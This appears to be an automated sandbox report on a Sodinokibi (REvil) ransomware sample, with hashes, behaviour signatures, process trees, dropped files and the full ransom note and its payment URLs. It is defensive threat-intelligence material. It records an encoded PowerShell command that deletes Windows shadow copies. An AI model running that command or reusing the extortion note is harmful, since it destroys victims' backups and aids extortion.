Overview

overview

10

Static

static

10

3cff33197e...57.exe

windows7-x64

10

3cff33197e...57.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    138s
  • max time network
    167s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    16-11-2023 23:47

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe

  • Size

    166KB

  • MD5

    340b6f816bfdcfcb466cfc126c976844

  • SHA1

    e2e3adfcf621166a9f5bb7ee9795b7914cda2095

  • SHA256

    3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57

  • SHA512

    3e729878fe7ae2ea2f025d71d78226ddb5930b791143eb8c4ba4a7589d5944e5b0e37e8ffe1ea4983bbc66c71587e3a4b158b3e8a2b71ccbed2889c4778962f9

  • SSDEEP

    3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QLOoBB2W:ZJ0BXScFy2RsQJ8zgLOYB

Score
10/10
sodinokibipersistenceransomware

Malware Config

Extracted

Path

C:\Users\0z7n2j60-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 0z7n2j60. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/13D8967FBF9D59A3 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/13D8967FBF9D59A3 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: nD4+95WMH0YEcXqo0pdFUUeTrhwicGsqQS3bWFXWXpNL6mJS3hJRVjUX2S7IFkL6 pGF57iVUcurkn65In9pbZviCquJgJwC5kMKMwefnmhvjNUawNF1Wyt7NVlqO1ZGu ojAh+oRzIBlDkqSFoe3/rMcCPBAEZ/oR5cLmHElDVv5QHbW1Ec2BIdJaE0xe5dJN pZsXDZLfTVVdt081N1VhEvlwHhsR24pMEsM9wkiq4W5hg3yV/ho7iXLTv4+Hk97M GmWXIH2sZQ1hlqDg6T9Wxspyk5q6hrtwgrXs5jgi6ZOZj7OkLclK56cg40DXfUCT lmOy0sqMSvS0KR8eKnwmpJ8obJxl1jv2vrZLYd9B8WHu6WO2sMp0iCM9CWq8+YEM +E+jPdgaUlzS1B46HIlCVqnoh9s6Un/lIgP7Ueg/zlMmkhPsZhGtKuhFdWGpCjSg Cuss/ojDQF2Hl3zJWS3IGamA/+MUTyDInx4OgB+szYYZBJeQ3Cst6vcQptaDFMwv hFj0GgNicp9PKii+UeBWKeuvQsfJ4DCq8Vm1CoA83pm3HSk9NZM1rjTx/izAEdL8 uGlgCOO1iRe6tt6uFyIdTqh56jflUyxV72k9+ZHcrqsEgo9qbwye/pHTRM1qv5RF EjOmbKoLtsoyqH0gnVVTdmmcTPsPZGYbRzmO+ZIViNF2z92tVPEBm9SiALgKwpfx jtwf1jiRkyFr7XHlcpBK8OC7t0o6unew6uCezf74czaB5J5qS5gAVZsmJZ0PRtfa Id+Prmv/rMEbQvm4/tNJjW98vNc5Olzn3Pj1ucGj1VAd6H9TkQfPqXE++nuYFl0W f7V/RGrflYrS6z2Jpi4/1dHjIL7IwpDYC2e+NywtCbOKr+AH6GPMXM21kB6QbXnv gI39fP0Cd9uv53DP2LBicsCoFi+uGF6SMD3o/zPgt56fzSM9cc0xngMwS4Rp3S+W QkGdSKj9xtonc5z5Y3dlgTVO5yoS2qVRMF3exkKNIbKihK+Z3FlQE4Axo5NAjaCS Bw1DykspPnHaHYKuFCRB/rN+DkrkFiMrfR08zuoInOQq5z5dOzUWkjc/vl2/z4Xs rFr/M29nw8dMMSJukq/VYSYQoYCBlVS4W8jyMLEfCBFtgxLnBj5YM6YL5uls9AFG pt7Mi1VVRBj1b5CF23qRTMTBe6cIIMPYaI/0Om7nbPDheBk14/9fQTrEgzJziR3E 2W3xYL3MihyPxtT3tCm3IZY6PwjG9Fo29qDH30fhZh55kBSxVSch0ehUf8Bc7kgD NFjUSzcd3dq8kJVIlx9ZZLg+6+2HaXIFNaE2Auph2LgJM2a3++lePEWEuBhYgMBi xuS5YPGdW4h3hju0jCGgNhDSh0xQo5ppauZxWauWnfWjZ/pF ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/13D8967FBF9D59A3

http://decryptor.cc/13D8967FBF9D59A3

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 36 IoCs
  • Modifies system certificate store 2 TTPs 12 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe
    "C:\Users\Admin\AppData\Local\Temp\3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe"
    1⤵
    • Adds Run key to start application
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2288
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3064
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2700
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3012

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\0z7n2j60-readme.txt
      Filesize

      6KB

      MD5

      29565ab2a0f1c84cf2a8da429f9342e6

      SHA1

      e7bde34260af2d2b111d730a357a6b225f8e13cd

      SHA256

      77b7ccc7c0c588a30dd60f5705a4144ed492d2d387609daa4980f6f40d981f40

      SHA512

      0774ba80cc33203eab0f0051e131dc74b944c8f0a50460e51bd776a56eb9813e7233a997cdec6918922ca38dc834e99f094dbb32f2be646154cb9a5c602155a8

      Download Submit

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
      Filesize

      344B

      MD5

      98d932cf6bd6df4d7010eef2acb76c8d

      SHA1

      b5bb17e9e029d0ed7dc67a0fb820388eaf791d92

      SHA256

      756f55dd3030e21635d20d7b04238c5b0191680248b17e6f8d91c331f9363d63

      SHA512

      58e6c353140454ef650af13fba2671c23ada70c9ac1a752124d20b4af6dae1afa65dd1d44aacf68e3eaddbf50d0658859c8323a63335ae762a42d2817ce0c5dd

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\CabF0A8.tmp
      Filesize

      61KB

      MD5

      f3441b8572aae8801c04f3060b550443

      SHA1

      4ef0a35436125d6821831ef36c28ffaf196cda15

      SHA256

      6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

      SHA512

      5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\TarF0D9.tmp
      Filesize

      163KB

      MD5

      9441737383d21192400eca82fda910ec

      SHA1

      725e0d606a4fc9ba44aa8ffde65bed15e65367e4

      SHA256

      bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

      SHA512

      7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

      Download Submit

    • C:\Windows\System32\catroot2\dberr.txt
      Filesize

      194KB

      MD5

      6e38b830c0c1ba86fef95955b6ed2899

      SHA1

      2962cb899616dcb846e61f16bda5e1c88520dbb8

      SHA256

      46190081fa092de8c24ef9daa87af4fe80adfbdf60216e48d0b0a808cca9b085

      SHA512

      38c1c23b2bb140fed2af2118b376a1bf339fb820c494b1212ec90cb13cffe7b93dc4da35837a936e6d7b3a986879df39d3bbfd1254d10eae08fa9cbcbea38396

      Download Submit

    • memory/3064-7-0x00000000027B0000-0x0000000002830000-memory.dmp

      Filesize

      512KB

      Download

    • memory/3064-10-0x000007FEF5130000-0x000007FEF5ACD000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/3064-11-0x000007FEF5130000-0x000007FEF5ACD000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/3064-9-0x00000000027B0000-0x0000000002830000-memory.dmp

      Filesize

      512KB

      Download

    • memory/3064-8-0x00000000027B0000-0x0000000002830000-memory.dmp

      Filesize

      512KB

      Download

    • memory/3064-4-0x000000001B370000-0x000000001B652000-memory.dmp

      Filesize

      2.9MB

      Download

    • memory/3064-6-0x000007FEF5130000-0x000007FEF5ACD000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/3064-5-0x00000000022A0000-0x00000000022A8000-memory.dmp

      Filesize

      32KB

      Download